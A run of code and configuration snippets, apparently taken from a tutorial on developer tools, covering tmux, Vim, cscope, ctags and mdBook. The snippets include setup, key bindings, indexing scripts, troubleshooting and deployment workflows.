# Send commands to each pane
tmux send-keys -t complex:0.0 'htop' C-m
tmux send-keys -t complex:0.1 'tail -f /var/log/syslog' C-m
tmux send-keys -t complex:0.2 'vim' C-m
tmux send-keys -t complex:0.3 'echo "Ready for commands"' C-m

# Attach to session
tmux attach -t complex

#!/bin/bash

# Monitor multiple servers
SERVERS=("server1" "server2" "server3")
SESSION="monitoring"

tmux new-session -d -s $SESSION

for i in "${!SERVERS[@]}"; do
    if [ $i -eq 0 ]; then
        tmux rename-window -t $SESSION:0 "${SERVERS[$i]}"
    else
        tmux new-window -t $SESSION:$i -n "${SERVERS[$i]}"
    fi

    tmux send-keys -t $SESSION:$i "ssh ${SERVERS[$i]}" C-m
done

tmux select-window -t $SESSION:0
tmux attach -t $SESSION

# Essential settings
set -g mouse on                      # Enable mouse
set -g history-limit 50000           # Large scrollback
set -sg escape-time 0                # No escape delay
set -g base-index 1                  # Start windows at 1
setw -g pane-base-index 1            # Start panes at 1
set -g renumber-windows on           # Renumber windows

# Visual settings
set -g default-terminal "screen-256color"
set -g status-position bottom
setw -g monitor-activity on

# Key bindings
bind r source-file ~/.tmux.conf \; display "Reloaded!"
bind | split-window -h -c "#{pane_current_path}"
bind - split-window -v -c "#{pane_current_path}"
setw -g mode-keys vi

# Add to ~/.bashrc or ~/.zshrc
alias tm='tmux'
alias tma='tmux attach -t'
alias tms='tmux new-session -s'
alias tml='tmux list-sessions'
alias tmk='tmux kill-session -t'

# Prefix key not working
# Check if prefix is correct in .tmux.conf
tmux show-options -g | grep prefix

# Colors not displaying correctly
set -g default-terminal "screen-256color"

# Mouse not working
set -g mouse on

# Sessions not persisting
# Make sure you detach (Ctrl+b d) instead of exiting

# Can't attach to session
# Check if session exists
tmux ls

# Configuration not loading
# Reload config
tmux source-file ~/.tmux.conf

# Reset tmux to defaults
tmux kill-server
rm ~/.tmux.conf

# Start tmux in verbose mode
tmux -v

# Show current settings
tmux show-options -g
tmux show-window-options -g

# Check key bindings
tmux list-keys

# Show messages
Ctrl+b ~

# Add to .vimrc for seamless navigation
if exists('$TMUX')
    " Use same keybindings for vim and tmux
    let g:tmux_navigator_no_mappings = 1
endif

# Auto-attach or create session
if command -v tmux &> /dev/null && [ -z "$TMUX" ]; then
    tmux attach -t default || tmux new -s default
fi

[count] operator [count] motion/text-object

operator + a/i + text-object

<div>Hello World</div>

:[range]s/pattern/replacement/[flags]

:[range]g/pattern/command

qa          " Start recording to register 'a'
^           " Go to start of line
i"          " Insert quote
<Esc>       " Exit insert mode
$           " Go to end of line
a"          " Append quote
<Esc>       " Exit insert mode
j           " Move down
q           " Stop recording

10@a        " Execute macro 10 times

qaqa        " Clear register a
qa          " Start recording
...
@a          " Call macro recursively
q           " Stop recording

Ctrl+v          " Enter visual block mode
{motion}        " Select lines
I#<Esc>         " Insert # at beginning

Ctrl+v          " Enter visual block mode
{motion}        " Select comment characters
x               " Delete

:vs other_file.txt      " Vertical split
:diffthis               " In both windows
:diffoff                " Turn off diff

*               " Search for word under cursor
cgn             " Change next occurrence
{new_name}
<Esc>
.               " Repeat for next occurrence
n.n.n.          " Continue for more occurrences

:%s/\<old_name\>/new_name/gc

vi"             " Select inside quotes (or other text object)
y               " Yank
O               " Open line above
const name =    " Type variable name
<Esc>p          " Paste

" Enable syntax highlighting
syntax on

" Show line numbers
set number
set relativenumber

" Indentation settings
set tabstop=4
set shiftwidth=4
set expandtab
set autoindent
set smartindent

" Search settings
set hlsearch
set incsearch
set ignorecase
set smartcase

" UI enhancements
set showcmd
set showmatch
set ruler
set wildmenu
set cursorline

" Performance
set lazyredraw

" Enable mouse support
set mouse=a

" Better split behavior
set splitbelow
set splitright

" Persistent undo
set undofile
set undodir=~/.vim/undo

" Clipboard
set clipboard=unnamedplus

" Key mappings
let mapleader = " "
nnoremap <leader>w :w<CR>
nnoremap <leader>q :q<CR>
nnoremap <leader>h :noh<CR>

" Quick window navigation
nnoremap <C-h> <C-w>h
nnoremap <C-j> <C-w>j
nnoremap <C-k> <C-w>k
nnoremap <C-l> <C-w>l

" Move lines up/down
nnoremap <A-j> :m .+1<CR>==
nnoremap <A-k> :m .-2<CR>==
vnoremap <A-j> :m '>+1<CR>gv=gv
vnoremap <A-k> :m '<-2<CR>gv=gv

{mode}map {lhs} {rhs}

" Map jk to escape
inoremap jk <Esc>

" Save with Ctrl+S
nnoremap <C-s> :w<CR>
inoremap <C-s> <Esc>:w<CR>a

" Toggle line numbers
nnoremap <leader>n :set number!<CR>

" Open vimrc
nnoremap <leader>ev :e $MYVIMRC<CR>

" Source vimrc
nnoremap <leader>sv :source $MYVIMRC<CR>

" Install vim-plug if not already installed
if empty(glob('~/.vim/autoload/plug.vim'))
  silent !curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
    https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
endif

" Plugin section
call plug#begin('~/.vim/plugged')

" File explorer
Plug 'preservim/nerdtree'

" Fuzzy finder
Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
Plug 'junegunn/fzf.vim'

" Status line
Plug 'vim-airline/vim-airline'

" Git integration
Plug 'tpope/vim-fugitive'

" Surround text objects
Plug 'tpope/vim-surround'

" Auto pairs
Plug 'jiangmiao/auto-pairs'

" Commentary
Plug 'tpope/vim-commentary'

" Color scheme
Plug 'morhetz/gruvbox'

call plug#end()

" Plugin configuration
colorscheme gruvbox
set background=dark

" NERDTree
nnoremap <leader>e :NERDTreeToggle<CR>

" FZF
nnoremap <leader>f :Files<CR>
nnoremap <leader>b :Buffers<CR>
nnoremap <leader>/ :Rg<CR>

# Ubuntu/Debian
sudo apt update
sudo apt install cscope

# macOS
brew install cscope

# CentOS/RHEL
sudo yum install cscope

# Arch Linux
sudo pacman -S cscope

# Verify installation
cscope -V

# Build database from current directory
cscope -b

# Build database recursively
cscope -bR

# Build database from specific files
cscope -b file1.c file2.c file3.c

# Build from file list
find . -name "*.c" -o -name "*.h" > cscope.files
cscope -b

# Build without launching interface
cscope -b -q    # -q for faster database

# Update existing database
cscope -u -b

# Launch cscope
cscope

# Launch with specific database
cscope -d    # Use existing database (don't rebuild)

# Launch recursively
cscope -R

# Launch in line-oriented mode
cscope -l

# In cscope interface:

Tab         - Toggle between input field and results
Ctrl+D      - Exit cscope
Ctrl+P      - Navigate to previous result
Ctrl+N      - Navigate to next result
Enter       - View selected result
Space       - Display next page of results
1-9         - Edit file at result number

# Search types:
0 - Find this C symbol
1 - Find this global definition
2 - Find functions called by this function
3 - Find functions calling this function
4 - Find this text string
5 - Change this text string (grep pattern)
6 - Find this egrep pattern
7 - Find this file
8 - Find files #including this file
9 - Find assignments to this symbol

# Find symbol
cscope -L0 symbol_name

# Find global definition
cscope -L1 function_name

# Find functions called by function
cscope -L2 function_name

# Find functions calling function
cscope -L3 function_name

# Find text string
cscope -L4 "error message"

# Find egrep pattern
cscope -L6 "struct.*{$"

# Find file
cscope -L7 filename.c

# Find files including header
cscope -L8 header.h

# Output to file
cscope -L0 main > results.txt

" Add to ~/.vimrc
if has("cscope")
    set csprg=/usr/bin/cscope
    set csto=0
    set cst
    set nocsverb
    " Add cscope database if it exists
    if filereadable("cscope.out")
        cs add cscope.out
    endif
    set csverb
endif

" ~/.vimrc
if has("cscope")
    set csprg=/usr/bin/cscope
    set csto=0
    set cst
    set csverb

    " Load database
    if filereadable("cscope.out")
        cs add cscope.out
    elseif $CSCOPE_DB != ""
        cs add $CSCOPE_DB
    endif

    " Key mappings
    nmap <C-\>s :cs find s <C-R>=expand("<cword>")<CR><CR>
    nmap <C-\>g :cs find g <C-R>=expand("<cword>")<CR><CR>
    nmap <C-\>c :cs find c <C-R>=expand("<cword>")<CR><CR>
    nmap <C-\>t :cs find t <C-R>=expand("<cword>")<CR><CR>
    nmap <C-\>e :cs find e <C-R>=expand("<cword>")<CR><CR>
    nmap <C-\>f :cs find f <C-R>=expand("<cfile>")<CR><CR>
    nmap <C-\>i :cs find i ^<C-R>=expand("<cfile>")<CR>$<CR>
    nmap <C-\>d :cs find d <C-R>=expand("<cword>")<CR><CR>

    " Horizontal split
    nmap <C-@>s :scs find s <C-R>=expand("<cword>")<CR><CR>
    nmap <C-@>g :scs find g <C-R>=expand("<cword>")<CR><CR>
    nmap <C-@>c :scs find c <C-R>=expand("<cword>")<CR><CR>
endif

" Auto-rebuild cscope database
function! UpdateCscope()
    silent !cscope -Rb
    cs reset
endfunction
command! Cscope call UpdateCscope()

" In Vim:
:cs find s symbol          " Find symbol
:cs find g definition      " Find global definition
:cs find c function        " Find calls to function
:cs find t text           " Find text
:cs find e pattern        " Find egrep pattern
:cs find f file           " Find file
:cs find i file           " Find files #including file
:cs find d symbol         " Find functions called by symbol

" Show cscope connections
:cs show

" Reset cscope connections
:cs reset

" Kill cscope connection
:cs kill 0

# C/C++ project
find . \( -name "*.c" -o -name "*.h" -o -name "*.cpp" -o -name "*.hpp" \) > cscope.files
cscope -b -q

# Exclude directories
find . -path "./build" -prune -o -name "*.c" -print > cscope.files

# Include specific directories only
find src include -name "*.[ch]" > cscope.files
cscope -b -q

# Linux kernel style
cat << 'EOF' > build_cscope.sh
#!/bin/bash
LNX=/path/to/linux/source

find  $LNX                                                                \
    -path "$LNX/arch/*" ! -path "$LNX/arch/x86*" -prune -o              \
    -path "$LNX/tmp*" -prune -o                                          \
    -path "$LNX/Documentation*" -prune -o                                \
    -path "$LNX/scripts*" -prune -o                                      \
    -type f \( -name '*.[chxsS]' -o -name 'Makefile' \)                  \
    -print > cscope.files

cscope -b -q -k
EOF

chmod +x build_cscope.sh
./build_cscope.sh

# Project 1
cd /project1
cscope -b -q
export CSCOPE_DB=/project1/cscope.out

# Project 2 (separate database)
cd /project2
cscope -b -q -f cscope_proj2.out

# Use in Vim
:cs add /project1/cscope.out /project1
:cs add /project2/cscope_proj2.out /project2

#!/bin/bash
# find_function_calls.sh

FUNC=$1

if [ -z "$FUNC" ]; then
    echo "Usage: $0 <function_name>"
    exit 1
fi

echo "Functions calling $FUNC:"
cscope -dL3 $FUNC

echo ""
echo "Functions called by $FUNC:"
cscope -dL2 $FUNC

#!/bin/bash
# Generate simple call graph

FUNC=$1

function recurse_calls() {
    local func=$1
    local indent=$2

    echo "${indent}${func}"

    # Find functions called by this function
    cscope -dL2 "$func" | while read line; do
        called=$(echo $line | awk '{print $2}')
        if [ ! -z "$called" ]; then
            recurse_calls "$called" "${indent}  "
        fi
    done
}

recurse_calls "$FUNC" ""

#!/bin/bash
# find_unused.sh

# Get all function definitions
cscope -dL1 "" | awk '{print $2}' | sort -u > /tmp/all_funcs.txt

# For each function, check if it's called
while read func; do
    if [ "$func" != "main" ]; then
        calls=$(cscope -dL3 "$func" | wc -l)
        if [ $calls -eq 0 ]; then
            echo "Unused: $func"
        fi
    fi
done < /tmp/all_funcs.txt

rm /tmp/all_funcs.txt

# Add to Makefile

.PHONY: cscope
cscope:
	@find . -name "*.[ch]" > cscope.files
	@cscope -b -q

.PHONY: cscope-clean
cscope-clean:
	@rm -f cscope.* cscope.files

.PHONY: cscope-update
cscope-update: cscope-clean cscope

# ~/.cscoperc or project .cscoperc
# (cscope automatically loads this)

# Custom options (limited support)
# Most configuration done via command line

;; Add to ~/.emacs or ~/.emacs.d/init.el

(require 'xcscope)
(cscope-setup)

;; Key bindings
(define-key global-map [(control f3)] 'cscope-set-initial-directory)
(define-key global-map [(control f4)] 'cscope-find-this-symbol)
(define-key global-map [(control f5)] 'cscope-find-global-definition)
(define-key global-map [(control f6)] 'cscope-find-functions-calling-this-function)
(define-key global-map [(control f7)] 'cscope-find-called-functions)
(define-key global-map [(control f8)] 'cscope-find-this-text-string)
(define-key global-map [(control f9)] 'cscope-find-this-file)
(define-key global-map [(control f10)] 'cscope-find-files-including-file)

;; Auto-update database
(setq cscope-do-not-update-database nil)

# Build inverted index for faster searches
cscope -b -q

# Use compression for large databases
cscope -b -c

# Incremental updates
cscope -u -b -q

# Index only relevant files
find . -name "*.[ch]" \
    ! -path "*/test/*" \
    ! -path "*/build/*" \
    > cscope.files
cscope -b -q

#!/bin/bash
# setup_cscope.sh

PROJECT_ROOT=$(git rev-parse --show-toplevel 2>/dev/null || pwd)
cd "$PROJECT_ROOT"

echo "Building cscope database for: $PROJECT_ROOT"

# Find relevant source files
find . \( -name "*.c" -o -name "*.h" -o -name "*.cpp" -o -name "*.hpp" -o -name "*.cc" \) \
    ! -path "*/build/*" \
    ! -path "*/\.git/*" \
    ! -path "*/node_modules/*" \
    > cscope.files

# Build database with inverted index
cscope -b -q -k

echo "Database built: cscope.out"
echo ""
echo "Usage:"
echo "  cscope -d          # Launch interactive mode"
echo "  vim <file>         # Use with Vim (if configured)"
echo "  cscope -L0 symbol  # Command-line search"

# Add to project root
# .git/hooks/post-commit

#!/bin/bash
echo "Rebuilding cscope database..."
cscope -b -q -k
echo "Done"

# Find all occurrences of a string
cscope -L4 "TODO"

# Find all error messages
cscope -L4 "error:"

# Find struct definitions
cscope -L6 "^struct"

# Find all malloc calls
cscope -L0 malloc

# Find all functions modified in recent commit
git diff --name-only HEAD~1 | grep '\.[ch]$' | while read file; do
    echo "=== $file ==="
    # Get function names from file
    ctags -x --c-kinds=f "$file" | awk '{print $1}'
done

# Database not found
cscope -b -R    # Rebuild recursively

# Incomplete results
rm cscope.out*
cscope -b -q    # Rebuild with index

# Vim integration not working
:cs show        # Check connections
:cs reset       # Reset connections
:cs add cscope.out

# Permission denied
chmod 644 cscope.out*

# Slow searches
cscope -b -q    # Build with inverted index

# Wrong directory
export CSCOPE_DB=/path/to/cscope.out

# Ubuntu/Debian - Universal Ctags (recommended)
sudo apt update
sudo apt install universal-ctags

# Or Exuberant Ctags (older)
sudo apt install exuberant-ctags

# macOS - Universal Ctags
brew install --HEAD universal-ctags/universal-ctags/universal-ctags

# CentOS/RHEL
sudo yum install ctags

# Arch Linux
sudo pacman -S ctags

# From source (Universal Ctags)
git clone https://github.com/universal-ctags/ctags.git
cd ctags
./autogen.sh
./configure
make
sudo make install

# Verify installation
ctags --version

# Generate tags for current directory
ctags *

# Recursive tag generation
ctags -R

# Specific files
ctags file1.c file2.c file3.h

# Multiple languages
ctags -R src/ include/

# Generate tags for specific language
ctags -R --languages=C,C++

# Exclude languages
ctags -R --languages=-JavaScript,-HTML

# Follow symbolic links
ctags -R --links=yes

# Specify output file
ctags -o mytags -R

# Append to existing tags
ctags -a -R new_directory/

# Create tag file with extra information
ctags -R --fields=+iaS --extras=+q

# Sort tags file
ctags -R --sort=yes

# Case-insensitive sorting
ctags -R --sort=foldcase

" Add to ~/.vimrc
set tags=./tags,tags;$HOME

" Search for tags file in current directory and up to $HOME
set tags=./tags;/

" Jump to definition
Ctrl+]          " Jump to tag under cursor
g Ctrl+]        " Show list if multiple matches

" Return from jump
Ctrl+T          " Jump back (pop tag stack)
Ctrl+O          " Jump to previous location

" Navigation
:tag function   " Jump to tag
:ts pattern     " List matching tags
:tn             " Next matching tag
:tp             " Previous matching tag

" Tag stack
:tags           " Show tag stack
:pop            " Pop from tag stack

" Split window navigation
Ctrl+W ]        " Split window and jump to tag
Ctrl+W g ]      " Split and list matches

" ~/.vimrc
" Set tags file locations
set tags=./tags,tags;$HOME

" Enable tag stack
set tagstack

" Show tag preview in popup
set completeopt=menuone,preview

" Custom key mappings
nnoremap <C-]> g<C-]>       " Always show list if multiple matches
nnoremap <leader>t :tag<Space>
nnoremap <leader>] :tselect<CR>
nnoremap <leader>[ :pop<CR>

" Split navigation
nnoremap <C-\> :tab split<CR>:exec("tag ".expand("<cword>"))<CR>
nnoremap <A-]> :vsp <CR>:exec("tag ".expand("<cword>"))<CR>

" Auto-regenerate tags
autocmd BufWritePost *.c,*.cpp,*.h,*.py silent! !ctags -R &

" Install with vim-plug
Plug 'majutsushi/tagbar'

" Configuration
nmap <F8> :TagbarToggle<CR>

let g:tagbar_width = 30
let g:tagbar_autofocus = 1
let g:tagbar_sort = 0

" Custom language configuration
let g:tagbar_type_go = {
    \ 'ctagstype' : 'go',
    \ 'kinds'     : [
        \ 'p:package',
        \ 'i:imports',
        \ 'c:constants',
        \ 'v:variables',
        \ 't:types',
        \ 'n:interfaces',
        \ 'w:fields',
        \ 'e:embedded',
        \ 'm:methods',
        \ 'r:constructor',
        \ 'f:functions'
    \ ],
    \ 'sro' : '.',
    \ 'kind2scope' : {
        \ 't' : 'ctype',
        \ 'n' : 'ntype'
    \ },
    \ 'scope2kind' : {
        \ 'ctype' : 't',
        \ 'ntype' : 'n'
    \ },
\ }

# C/C++ with all features
ctags -R \
    --c-kinds=+p \
    --c++-kinds=+p \
    --fields=+iaS \
    --extras=+q

# Include system headers
ctags -R --c-kinds=+px --fields=+iaS --extras=+q \
    /usr/include \
    /usr/local/include \
    .

# Kernel-style projects
ctags -R \
    --exclude=.git \
    --exclude=build \
    --exclude=Documentation \
    --languages=C \
    --langmap=c:.c.h \
    --c-kinds=+px \
    --fields=+iaS \
    --extras=+q

# Python projects
ctags -R \
    --languages=Python \
    --python-kinds=-i \
    --fields=+l

# Include virtualenv
ctags -R \
    --languages=Python \
    --fields=+l \
    . \
    venv/lib/python*/site-packages/

# JavaScript
ctags -R \
    --languages=JavaScript \
    --exclude=node_modules \
    --exclude=dist \
    --exclude=build

# TypeScript
ctags -R \
    --languages=TypeScript \
    --exclude=node_modules \
    --exclude=*.min.js

# Java projects
ctags -R \
    --languages=Java \
    --exclude=.git \
    --exclude=target \
    --exclude=*.class

# Include JAR dependencies (if unpacked)
ctags -R src/ lib/

# ~/.ctags.d/local.ctags (Universal Ctags)
--recurse=yes
--tag-relative=yes
--exclude=.git
--exclude=.svn
--exclude=.hg
--exclude=node_modules
--exclude=bower_components
--exclude=*.min.js
--exclude=*.swp
--exclude=*.bak
--exclude=*.pyc
--exclude=*.class
--exclude=target
--exclude=build
--exclude=dist

# Language-specific
--langdef=markdown
--langmap=markdown:.md.markdown.mdown.mkd.mkdn
--regex-markdown=/^#{1}[ \t]+(.+)/. \1/h,heading1/
--regex-markdown=/^#{2}[ \t]+(.+)/..  \1/h,heading2/
--regex-markdown=/^#{3}[ \t]+(.+)/...   \1/h,heading3/

# .git/hooks/post-commit
#!/bin/bash
ctags -R &

# Make executable
chmod +x .git/hooks/post-commit

# Or use Makefile
.PHONY: tags
tags:
	ctags -R --fields=+iaS --extras=+q

.PHONY: tags-clean
tags-clean:
	rm -f tags

# Exclude directories
ctags -R --exclude=build --exclude=.git --exclude=node_modules

# Exclude files by pattern
ctags -R --exclude=*.min.js --exclude=*.test.js

# Include only specific directories
ctags -R src/ include/

# Custom exclusions file
echo "build/" > .ctagsignore
echo "*.min.js" >> .ctagsignore
ctags -R --exclude=@.ctagsignore

#!/bin/bash
# update_tags.sh

PROJECT_ROOT=$(git rev-parse --show-toplevel 2>/dev/null || pwd)
cd "$PROJECT_ROOT"

echo "Generating tags for: $PROJECT_ROOT"

ctags -R \
    --fields=+iaS \
    --extras=+q \
    --exclude=.git \
    --exclude=build \
    --exclude=node_modules \
    --exclude=*.min.js

echo "Tags file generated: $PROJECT_ROOT/tags"

#!/bin/bash
# generate_all_tags.sh

PROJECTS=(
    "$HOME/projects/project1"
    "$HOME/projects/project2"
    "$HOME/projects/lib/common"
)

for project in "${PROJECTS[@]}"; do
    if [ -d "$project" ]; then
        echo "Generating tags for $project"
        (cd "$project" && ctags -R)
    fi
done

# Merge tags files
cat ~/projects/*/tags | sort -u > ~/projects/all_tags

#!/bin/bash
# find_symbol.sh

SYMBOL=$1

if [ -z "$SYMBOL" ]; then
    echo "Usage: $0 <symbol>"
    exit 1
fi

# Search in tags file
echo "Searching for: $SYMBOL"
echo ""

grep "^$SYMBOL" tags | while IFS=$'\t' read tag file pattern rest; do
    echo "File: $file"
    echo "Pattern: $pattern"
    echo "---"
done

;; Add to ~/.emacs or ~/.emacs.d/init.el

;; Enable etags (similar to ctags)
(setq tags-table-list '("./TAGS" "../TAGS" "../../TAGS"))

;; Key bindings
(global-set-key (kbd "M-.") 'find-tag)
(global-set-key (kbd "M-*") 'pop-tag-mark)
(global-set-key (kbd "M-,") 'tags-loop-continue)

;; Generate tags for project
(defun my-generate-tags ()
  (interactive)
  (shell-command "ctags -e -R ."))

(global-set-key (kbd "C-c g") 'my-generate-tags)

// settings.json
{
    "ctagsFile": "tags",
    "ctagsPath": "/usr/bin/ctags"
}

// Install extension
// ext install jaydenlin.ctags-support

// Settings - User
{
    "tags_path": "tags",
    "ctags_command": "/usr/bin/ctags -R --fields=+iaS --extras=+q"
}

// Install CTags package via Package Control

#!/bin/bash
# monorepo_tags.sh

# Root tags
ctags -R --fields=+iaS --extras=+q -o tags.root .

# Per-service tags
for service in services/*; do
    if [ -d "$service" ]; then
        (cd "$service" && ctags -R -o tags .)
    fi
done

# Merge all tags
find . -name "tags" -exec cat {} \; | sort -u > tags

#!/bin/bash
# Generate separate tags for each language

# C/C++ tags
ctags -R -o tags.c --languages=C,C++ .

# Python tags
ctags -R -o tags.py --languages=Python .

# JavaScript tags
ctags -R -o tags.js --languages=JavaScript --exclude=node_modules .

# Merge all
cat tags.* | sort -u > tags

#!/bin/bash
# update_changed.sh

# Get changed files since last tag generation
CHANGED=$(find . -type f -newer tags \( -name "*.c" -o -name "*.h" \))

if [ ! -z "$CHANGED" ]; then
    echo "Updating tags for changed files"

    # Generate tags for changed files
    ctags -a $CHANGED

    # Sort tags file
    sort -u tags -o tags
fi

# ~/.ctags or ~/.ctags.d/default.ctags (Universal Ctags)

# Recurse by default
--recurse=yes

# Tag relative paths
--tag-relative=yes

# Additional fields
--fields=+iaS
--extras=+q

# Common exclusions
--exclude=.git
--exclude=.svn
--exclude=node_modules
--exclude=bower_components
--exclude=*.min.js
--exclude=*.min.css
--exclude=*.map
--exclude=build
--exclude=dist
--exclude=target
--exclude=*.pyc
--exclude=*.class
--exclude=.DS_Store

# Sort tags
--sort=yes

# Language-specific
--languages=all
--c-kinds=+px
--c++-kinds=+px
--python-kinds=-i

# .gitignore
tags
tags.lock
tags.temp
TAGS

# .git/hooks/post-checkout
#!/bin/bash
ctags -R &

# .git/hooks/post-merge
#!/bin/bash
ctags -R &

# Use parallel processing for large projects
find . -name "*.c" -o -name "*.h" | xargs -P 4 -n 50 ctags -a

# Generate tags in background
ctags -R &

# Use faster sorting
ctags -R --sort=no
LC_ALL=C sort tags -o tags

# Exclude large dependency directories
ctags -R --exclude=vendor --exclude=node_modules

# Tags file not found in Vim
:set tags?          # Check tags path
:set tags=./tags;/  # Set tags path

# Duplicate entries
sort -u tags -o tags

# Wrong language detected
ctags --list-languages        # Show supported languages
ctags --list-maps            # Show file extensions
ctags -R --languages=C,C++   # Force specific languages

# Performance issues
ctags -R --exclude=node_modules --exclude=vendor

# Tags not updating
rm tags
ctags -R

# Vim not jumping to correct location
# Regenerate with line numbers
ctags -R --fields=+n

# Check tag format
head -n 20 tags

# Using Cargo (Rust package manager)
cargo install mdbook

# Ubuntu/Debian (from binary)
wget https://github.com/rust-lang/mdBook/releases/download/v0.4.36/mdbook-v0.4.36-x86_64-unknown-linux-gnu.tar.gz
tar xzf mdbook-v0.4.36-x86_64-unknown-linux-gnu.tar.gz
sudo mv mdbook /usr/local/bin/

# macOS
brew install mdbook

# From source
git clone https://github.com/rust-lang/mdBook.git
cd mdBook
cargo build --release
sudo cp target/release/mdbook /usr/local/bin/

# Verify installation
mdbook --version

# Create new book
mdbook init mybook

# Project structure created:
# mybook/
# ├── book.toml       # Configuration file
# └── src/
#     ├── SUMMARY.md  # Table of contents
#     └── chapter_1.md

# Enter directory
cd mybook

# Build the book
mdbook build

# Serve with live preview
mdbook serve

# Open in browser
open http://localhost:3000

mybook/
├── book.toml              # Configuration
├── src/
│   ├── SUMMARY.md         # Table of contents (required)
│   ├── chapter_1.md       # Chapter files
│   ├── chapter_2.md
│   ├── images/            # Images directory
│   │   └── diagram.png
│   └── sub_chapter/
│       └── section.md
└── book/                  # Generated output (git ignore)
    ├── index.html
    ├── chapter_1.html
    └── ...

[book]
title = "My Amazing Book"
authors = ["John Doe"]
language = "en"
multilingual = false
src = "src"

[build]
build-dir = "book"
create-missing = true

[output.html]
default-theme = "light"
preferred-dark-theme = "navy"
git-repository-url = "https://github.com/user/repo"
git-repository-icon = "fa-github"

[book]
title = "Advanced Guide"
authors = ["Jane Smith", "John Doe"]
description = "A comprehensive guide"
language = "en"
multilingual = false
src = "src"

[build]
build-dir = "book"
create-missing = true

[preprocessor.links]

[output.html]
# Theme
default-theme = "rust"
preferred-dark-theme = "navy"
curly-quotes = true

# Repository
git-repository-url = "https://github.com/user/repo"
git-repository-icon = "fa-github"

# Navigation
additional-css = ["custom.css"]
additional-js = ["custom.js"]

# Code
no-section-label = false

# Search
[output.html.search]
enable = true
limit-results = 30
teaser-word-count = 30
use-boolean-and = true
boost-title = 2
boost-hierarchy = 1
boost-paragraph = 1
expand = true
heading-split-level = 3

# Print
[output.html.print]
enable = true

# Playground (for Rust code)
[output.html.playground]
editable = true
copyable = true
copy-js = true
line-numbers = false
runnable = true

# Summary

[Introduction](./introduction.md)

# User Guide

- [Getting Started](./guide/getting-started.md)
- [Installation](./guide/installation.md)
    - [Linux](./guide/installation/linux.md)
    - [macOS](./guide/installation/macos.md)
    - [Windows](./guide/installation/windows.md)
- [Configuration](./guide/configuration.md)

# Reference

- [API Reference](./reference/api.md)
- [CLI Commands](./reference/cli.md)

# Appendix

- [Glossary](./appendix/glossary.md)
- [Contributors](./appendix/contributors.md)

# Summary

[Preface](./preface.md)

---

# Part I: Basics

- [Chapter 1](./chapter-1.md)
- [Chapter 2](./chapter-2.md)

---

# Part II: Advanced

- [Chapter 3](./chapter-3.md)
    - [Section 3.1](./chapter-3/section-1.md)
    - [Section 3.2](./chapter-3/section-2.md)

---

[Conclusion](./conclusion.md)
[Appendix](./appendix.md)

# Build book
mdbook build

# Build and watch for changes
mdbook watch

# Serve with live reload
mdbook serve

# Serve on different port
mdbook serve -p 8080

# Serve on specific address
mdbook serve -n 0.0.0.0

# Open in browser
mdbook serve --open

# Build to different directory
mdbook build -d /tmp/mybook

# Test code examples
mdbook test

# Test with specific library
mdbook test --library-path ./target/debug

# Test specific chapter
mdbook test path/to/chapter.md

# Clean build directory
mdbook clean

# Remove specific build
rm -rf book/

```rust
fn main() {
    println!("Hello, world!");
}
```

```rust,editable
// This code can be edited in browser
fn main() {
    println!("Try editing me!");
}
```

```rust,ignore
// This code won't be tested
fn incomplete() {
```

```rust,no_run
// Compiles but doesn't run during tests
fn main() {
    std::process::exit(1);
}
```

```rust,should_panic
// Expected to panic
fn main() {
    panic!("Expected panic");
}
```

```python
def greet(name):
    print(f"Hello, {name}!")
```

```bash
#!/bin/bash
echo "Hello from bash"
```

<!-- Include entire file -->
{{#include path/to/file.rs}}

<!-- Include specific lines -->
{{#include path/to/file.rs:10:20}}

<!-- Include from line to end -->
{{#include path/to/file.rs:10:}}

<!-- Include with anchor -->
{{#include path/to/file.rs:my_anchor}}

```rust,editable
{{#playpen example.rs}}
```

```rust
{{#rustdoc_include path/to/lib.rs}}
```

/* custom.css */
:root {
    --sidebar-width: 300px;
    --page-padding: 20px;
    --content-max-width: 900px;
}

.content {
    font-size: 18px;
    line-height: 1.8;
}

.chapter {
    padding: 2em;
}

code {
    font-family: 'Fira Code', monospace;
}

pre {
    border-radius: 8px;
}

// custom.js
window.addEventListener('load', function() {
    // Add custom functionality
    console.log('Book loaded');

    // Add copy button to code blocks
    document.querySelectorAll('pre > code').forEach(function(code) {
        const button = document.createElement('button');
        button.textContent = 'Copy';
        button.onclick = function() {
            navigator.clipboard.writeText(code.textContent);
            button.textContent = 'Copied!';
            setTimeout(() => button.textContent = 'Copy', 2000);
        };
        code.parentElement.insertBefore(button, code);
    });
});

# book.toml
[output.html]
theme = "my-theme"

# Create theme directory
# mkdir -p my-theme
# Copy and modify default theme files

# Extract default theme
mdbook init --theme

# Files created in theme/:
# - index.hbs        # Main template
# - head.hbs         # HTML head
# - header.hbs       # Page header
# - chrome.css       # UI styles
# - general.css      # Content styles
# - variables.css    # CSS variables

# Enable links preprocessor
[preprocessor.links]

# Example usage in Markdown:
# [Rust](https://www.rust-lang.org/)

// my-preprocessor/src/main.rs
use mdbook::preprocess::{Preprocessor, PreprocessorContext};
use mdbook::book::Book;
use std::io;

struct MyPreprocessor;

impl Preprocessor for MyPreprocessor {
    fn name(&self) -> &str {
        "my-preprocessor"
    }

    fn run(&self, ctx: &PreprocessorContext, mut book: Book) -> Result<Book, Error> {
        // Process book content
        Ok(book)
    }
}

fn main() {
    let preprocessor = MyPreprocessor;
    if let Err(e) = mdbook::preprocess::handle_preprocessing(&preprocessor) {
        eprintln!("{}", e);
        std::process::exit(1);
    }
}
# book.toml
[preprocessor.my-preprocessor]
command = "my-preprocessor"

# Build book
mdbook build

# Initialize git (if needed)
git init
git add .
git commit -m "Initial commit"

# Create gh-pages branch
git checkout --orphan gh-pages
git reset --hard
cp -r book/* .
rm -rf book src
git add .
git commit -m "Deploy book"
git push origin gh-pages

# Or use GitHub Actions

# .github/workflows/deploy.yml
name: Deploy mdBook

on:
  push:
    branches: [ main ]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      - name: Setup mdBook
        uses: peaceiris/actions-mdbook@v1
        with:
          mdbook-version: 'latest'

      - name: Build
        run: mdbook build

      - name: Deploy
        uses: peaceiris/actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./book

# netlify.toml
[build]
command = "mdbook build"
publish = "book"

[build.environment]
RUST_VERSION = "1.70.0"

# Dockerfile
FROM rust:1.70 as builder

RUN cargo install mdbook

WORKDIR /book
COPY . .
RUN mdbook build

FROM nginx:alpine
